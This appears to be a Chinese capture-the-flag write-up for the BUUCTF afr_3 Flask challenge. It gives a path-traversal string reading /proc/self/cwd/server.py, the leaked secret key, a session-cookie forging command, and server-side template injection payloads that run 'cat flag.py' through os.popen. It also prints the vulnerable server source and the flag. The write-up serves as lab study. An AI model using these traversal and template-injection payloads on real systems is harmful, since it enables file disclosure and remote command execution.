[第一章 web入门]afr_3

会做拦截

不存在的文件报错不同

不同目录也是输flag会出现,猜测有黑名单

这里解码猜测是通过鉴权来的

要伪造ssesion,这里卡住

buuctf 刷题记录 [第一章 web入门]afr_3 - MuRKuo - 博客园

得知这里涉及ssit注入和flask模板注入,但是不理解怎么识别出来的

利用文中提及的poc

../../../../proc/self/cwd/server.py

Drmhze6EPcv0fN_81Bj-nA

然后使用GitCode - 全球开发者的开源社区,开源代码托管平台

flask_session_cookie_manager3伪造cookie

对应ssit代码{``{''.__class__.__mro__[2].__subclasses__()[40]('flag.py').read()}}

详情见最开始的链接,简单来说就是利用文件包含

python3 ./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.class.mro[2].subclasses()[71].init.globals[\'os\'].popen(\'cat flag.py\').read()}}'}"

-s 指的是加密密钥

-t 指的是加密密文(ssti)

这样在后续才可以完成文件包含,这里伪造cookie是为了执行里面的代码,不是单纯的绕过认证,这里不加cookie会默认让cookie为n1code,至于后面那个/article接口只是在有flag字样时候展示notallow.txt,并不能完成攻击得到flag

不仔细读就踩坑

复制代码
#!/usr/bin/python
import os
from flask import (Flask, render_template, request, url_for, redirect, session, render_template_string)
from flask_session import Session

app = Flask(__name__)
execfile('flag.py')
execfile('key.py')
FLAG = flag
app.secret_key = key

@app.route("/n1page", methods=["GET", "POST"])
def n1page():
    if request.method != "POST":
        return redirect(url_for("index"))
    
    n1code = request.form.get("n1code") or None
    
    if n1code is not None:
        n1code = n1code.replace(".", "").replace("_", "").replace("{", "").replace("}", "")
    
    if "n1code" not in session or session['n1code'] is None:
        session['n1code'] = n1code

    template = None
    if session['n1code'] is not None:
        template = '''<h1>N1 Page</h1>
        <div class="row">
            <div class="col-md-6 col-md-offset-3 center">
                Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>?
            </div>
        </div>''' % session['n1code']
        
        session['n1code'] = None
    
    return render_template_string(template)

@app.route("/", methods=["GET"])
def index():
    return render_template("main.html")

@app.route('/article', methods=['GET'])
def article():
    error = 0
    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = 'article'
    
    if page.find('flag') >= 0:
        page = 'notallowed.txt'
    
    try:
        template = open('/home/nu11111111l/articles/{}'.format(page)).read()
    except Exception as e:
        template = e
    
    return render_template('article.html', template=template)

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)

要在这个路由下完成操作

'n1book{afr_3_solved}'

相关推荐
AIGC设计所11 小时前
网络安全8大就业领域和待遇对比!
运维·开发语言·网络·安全·web安全·php
网安薯条11 小时前
Kali Linux 虚拟机安装与基础配置保姆级图文教程
linux·运维·网络·安全·web安全·网络安全
YaBingSec13 小时前
网络安全靶场WP:Grafana 任意文件读取漏洞(CVE-2021-43798)
android·笔记·安全·web安全·ssh·grafana
m0_7381207214 小时前
Webshell流量分析——常见扫描器AWVS,goby,xray流量特征分析
服务器·前端·安全·web安全·网络安全
Aision_2 天前
为什么 CTI 场景需要知识图谱?
人工智能·python·安全·web安全·langchain·prompt·知识图谱
HackTwoHub2 天前
全新 AI 赋能网安平台 基于 Mitmproxy 流量分析自动化资产挖、轻量化综合渗透工具箱
人工智能·web安全·网络安全·系统安全·安全架构·sql注入
HackTwoHub2 天前
Linux 内核史诗级本地提权 全网深度复现、原理完整分析( CVE-2026-31431)
linux·运维·安全·web安全·网络安全·代码审计·安全架构
X7x52 天前
筑牢网络安全防线:Web应用防火墙(WAF)全面解析
web安全·网络安全·安全架构·waf
Chengbei112 天前
AI大模型网关存在SQL注入、影响版本LiteLLM 1.81.16~1.83.7(CVE-2026-42208)
数据库·人工智能·sql·安全·web安全·网络安全·系统安全
HackTwoHub3 天前
开源AI渗透测试的终极形态,让渗透测试进入“自动驾驶“时代、让渗透测试全自动!
人工智能·web安全·网络安全·开源·系统安全·安全架构·sql注入